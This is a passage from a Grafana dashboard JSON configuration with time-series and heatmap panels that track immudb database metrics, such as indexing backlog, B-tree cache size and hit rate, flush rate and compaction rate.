{\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    }\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 8,\n                \"x\": 16,\n                \"y\": 10\n            },\n            \"id\": 28,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"immudb_last_committed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}-immudb_last_indexed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"TRXs left to index\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    }\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 8,\n                \"x\": 0,\n                \"y\": 18\n            },\n            \"id\": 30,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"immudb_last_committed_trx_id{instance=~\\\"$instance\\\",db=~\\\"$db\\\"}\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"TRX count\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    }\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 8,\n                \"x\": 8,\n                \"y\": 18\n            },\n            \"id\": 32,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"label_replace(immudb_btree_cache_size{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}, \\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"Btree cache size\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"datasource\": \"${datasource}\",\n            \"fieldConfig\": {\n                \"defaults\": {\n                    \"color\": {\n                        \"mode\": \"palette-classic\"\n                    },\n                    \"custom\": {\n                        \"axisLabel\": \"\",\n                        \"axisPlacement\": \"auto\",\n                        \"barAlignment\": 0,\n                        \"drawStyle\": \"line\",\n                        \"fillOpacity\": 0,\n                        \"gradientMode\": \"none\",\n                        \"hideFrom\": {\n                            \"graph\": false,\n                            \"legend\": false,\n                            \"tooltip\": false,\n                            \"viz\": false\n                        },\n                        \"lineInterpolation\": \"linear\",\n                        \"lineWidth\": 1,\n                        \"pointSize\": 5,\n                        \"scaleDistribution\": {\n                            \"type\": \"linear\"\n                        },\n                        \"showPoints\": \"auto\",\n                        \"spanNulls\": false,\n                        \"stacking\": {\n                            \"group\": \"A\",\n                            \"mode\": \"none\"\n                        },\n                        \"thresholdsStyle\": {\n                            \"mode\": \"off\"\n                        }\n                    },\n                    \"mappings\": [],\n                    \"min\": 0,\n                    \"thresholds\": {\n                        \"mode\": \"absolute\",\n                        \"steps\": [\n                            {\n                                \"color\": \"green\",\n                                \"value\": null\n                            },\n                            {\n                                \"color\": \"red\",\n                                \"value\": 80\n                            }\n                        ]\n                    },\n                    \"unit\": \"percentunit\"\n                },\n                \"overrides\": []\n            },\n            \"gridPos\": {\n                \"h\": 8,\n                \"w\": 8,\n                \"x\": 16,\n                \"y\": 18\n            },\n            \"id\": 34,\n            \"options\": {\n                \"legend\": {\n                    \"calcs\": [],\n                    \"displayMode\": \"list\",\n                    \"placement\": \"bottom\"\n                },\n                \"tooltip\": {\n                    \"mode\": \"single\"\n                }\n            },\n            \"targets\": [\n                {\n                    \"exemplar\": true,\n                    \"expr\": \"label_replace(\\n    rate(immudb_btree_cache_hit{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval]) /\\n    (\\n        rate(immudb_btree_cache_miss{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval])+\\n        rate(immudb_btree_cache_hit{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval])\\n    ),\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                    \"interval\": \"\",\n                    \"legendFormat\": \"{{db}} ({{instance}})\",\n                    \"refId\": \"A\"\n                }\n            ],\n            \"title\": \"BTree cache hit%\",\n            \"type\": \"timeseries\"\n        },\n        {\n            \"collapsed\": true,\n            \"datasource\": \"${datasource}\",\n            \"gridPos\": {\n                \"h\": 1,\n                \"w\": 24,\n                \"x\": 0,\n                \"y\": 26\n            },\n            \"id\": 41,\n            \"panels\": [\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 8,\n                        \"x\": 0,\n                        \"y\": 27\n                    },\n                    \"id\": 36,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(immudb_btree_depth{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"},\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"BTree depth\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"cards\": {},\n                    \"color\": {\n                        \"cardColor\": \"#b4ff00\",\n                        \"colorScale\": \"sqrt\",\n                        \"colorScheme\": \"interpolateOranges\",\n                        \"exponent\": 0.5,\n                        \"mode\": \"spectrum\"\n                    },\n                    \"dataFormat\": \"tsbuckets\",\n                    \"datasource\": \"${datasource}\",\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 8,\n                        \"x\": 8,\n                        \"y\": 27\n                    },\n                    \"heatmap\": {},\n                    \"hideZeroBuckets\": false,\n                    \"highlightCards\": true,\n                    \"id\": 38,\n                    \"legend\": {\n                        \"show\": false\n                    },\n                    \"maxDataPoints\": 50,\n                    \"reverseYBuckets\": false,\n                    \"targets\": [\n                        {\n                            \"exemplar\": true,\n                            \"expr\": \"sum(rate(immudb_btree_inner_node_entries_bucket{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval])) by (le)\",\n                            \"format\": \"heatmap\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{le}}\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"BTree inner nodes children distribution\",\n                    \"tooltip\": {\n                        \"show\": true,\n                        \"showHistogram\": true\n                    },\n                    \"type\": \"heatmap\",\n                    \"xAxis\": {\n                        \"show\": true\n                    },\n                    \"yAxis\": {\n                        \"format\": \"short\",\n                        \"logBase\": 1,\n                        \"show\": true\n                    },\n                    \"yBucketBound\": \"auto\"\n                },\n                {\n                    \"cards\": {},\n                    \"color\": {\n                        \"cardColor\": \"#b4ff00\",\n                        \"colorScale\": \"sqrt\",\n                        \"colorScheme\": \"interpolateOranges\",\n                        \"exponent\": 0.5,\n                        \"mode\": \"spectrum\"\n                    },\n                    \"dataFormat\": \"tsbuckets\",\n                    \"datasource\": \"${datasource}\",\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 8,\n                        \"x\": 16,\n                        \"y\": 27\n                    },\n                    \"heatmap\": {},\n                    \"hideZeroBuckets\": false,\n                    \"highlightCards\": true,\n                    \"id\": 39,\n                    \"legend\": {\n                        \"show\": false\n                    },\n                    \"maxDataPoints\": 50,\n                    \"reverseYBuckets\": false,\n                    \"targets\": [\n                        {\n                            \"exemplar\": true,\n                            \"expr\": \"sum(rate(immudb_btree_leaf_node_entries_bucket{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval])) by (le)\",\n                            \"format\": \"heatmap\",\n                            \"instant\": false,\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{le}}\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"BTree leaf nodes children distribution\",\n                    \"tooltip\": {\n                        \"show\": true,\n                        \"showHistogram\": true\n                    },\n                    \"type\": \"heatmap\",\n                    \"xAxis\": {\n                        \"show\": true\n                    },\n                    \"yAxis\": {\n                        \"format\": \"short\",\n                        \"logBase\": 1,\n                        \"show\": true\n                    },\n                    \"yBucketBound\": \"auto\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 0,\n                        \"y\": 35\n                    },\n                    \"id\": 61,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  rate(immudb_btree_flushed_entries_total{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval]),\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Flush rate - entries\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 6,\n                        \"y\": 35\n                    },\n                    \"id\": 63,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  immudb_btree_flushed_entries_last_cycle{instance=~\\\"$instance\\\", id=~\\\".*/$db/index\\\"},\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Flush progress - entries\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 12,\n                        \"y\": 35\n                    },\n                    \"id\": 65,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  rate(immudb_btree_flushed_nodes_total{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval]),\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} {{kind}} nodes ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Flush rate - nodes\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 18,\n                        \"y\": 35\n                    },\n                    \"id\": 67,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  immudb_btree_flushed_nodes_last_cycle{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"},\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} {{kind}} nodes ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Flush rate - nodes\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 0,\n                        \"y\": 43\n                    },\n                    \"id\": 53,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  rate(immudb_btree_compacted_entries_total{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval]),\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Compaction rate - entries\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 6,\n                        \"y\": 43\n                    },\n                    \"id\": 55,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  immudb_btree_compacted_entries_last_cycle{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"},\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Compaction progress - entries\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": \"auto\",\n                                \"barAlignment\": 0,\n                                \"drawStyle\": \"line\",\n                                \"fillOpacity\": 0,\n                                \"gradientMode\": \"none\",\n                                \"hideFrom\": {\n                                    \"graph\": false,\n                                    \"legend\": false,\n                                    \"tooltip\": false,\n                                    \"viz\": false\n                                },\n                                \"lineInterpolation\": \"linear\",\n                                \"lineWidth\": 1,\n                                \"pointSize\": 5,\n                                \"scaleDistribution\": {\n                                    \"type\": \"linear\"\n                                },\n                                \"showPoints\": \"auto\",\n                                \"spanNulls\": false,\n                                \"stacking\": {\n                                    \"group\": \"A\",\n                                    \"mode\": \"none\"\n                                },\n                                \"thresholdsStyle\": {\n                                    \"mode\": \"off\"\n                                }\n                            },\n                            \"mappings\": [],\n                            \"thresholds\": {\n                                \"mode\": \"absolute\",\n                                \"steps\": [\n                                    {\n                                        \"color\": \"green\",\n                                        \"value\": null\n                                    },\n                                    {\n                                        \"color\": \"red\",\n                                        \"value\": 80\n                                    }\n                                ]\n                            }\n                        },\n                        \"overrides\": []\n                    },\n                    \"gridPos\": {\n                        \"h\": 8,\n                        \"w\": 6,\n                        \"x\": 12,\n                        \"y\": 43\n                    },\n                    \"id\": 57,\n                    \"options\": {\n                        \"legend\": {\n                            \"calcs\": [],\n                            \"displayMode\": \"list\",\n                            \"placement\": \"bottom\"\n                        },\n                        \"tooltip\": {\n                            \"mode\": \"single\"\n                        }\n                    },\n                    \"targets\": [\n                        {\n                            \"datasource\": \"${datasource}\",\n                            \"exemplar\": true,\n                            \"expr\": \"label_replace(\\n  rate(immudb_btree_compacted_nodes_total{instance=~\\\"$instance\\\",id=~\\\".*/$db/index\\\"}[$__rate_interval]),\\n\\\"db\\\", \\\"$1\\\", \\\"id\\\", \\\".*/([^/]*)/index\\\")\",\n                            \"interval\": \"\",\n                            \"legendFormat\": \"{{db}} {{kind}} nodes ({{instance}})\",\n                            \"refId\": \"A\"\n                        }\n                    ],\n                    \"title\": \"Compaction rate - nodes\",\n                    \"type\": \"timeseries\"\n                },\n                {\n                    \"datasource\": \"${datasource}\",\n                    \"fieldConfig\": {\n                        \"defaults\": {\n                            \"color\": {\n                                \"mode\": \"palette-classic\"\n                            },\n                            \"custom\": {\n                                \"axisLabel\": \"\",\n                                \"axisPlacement\": 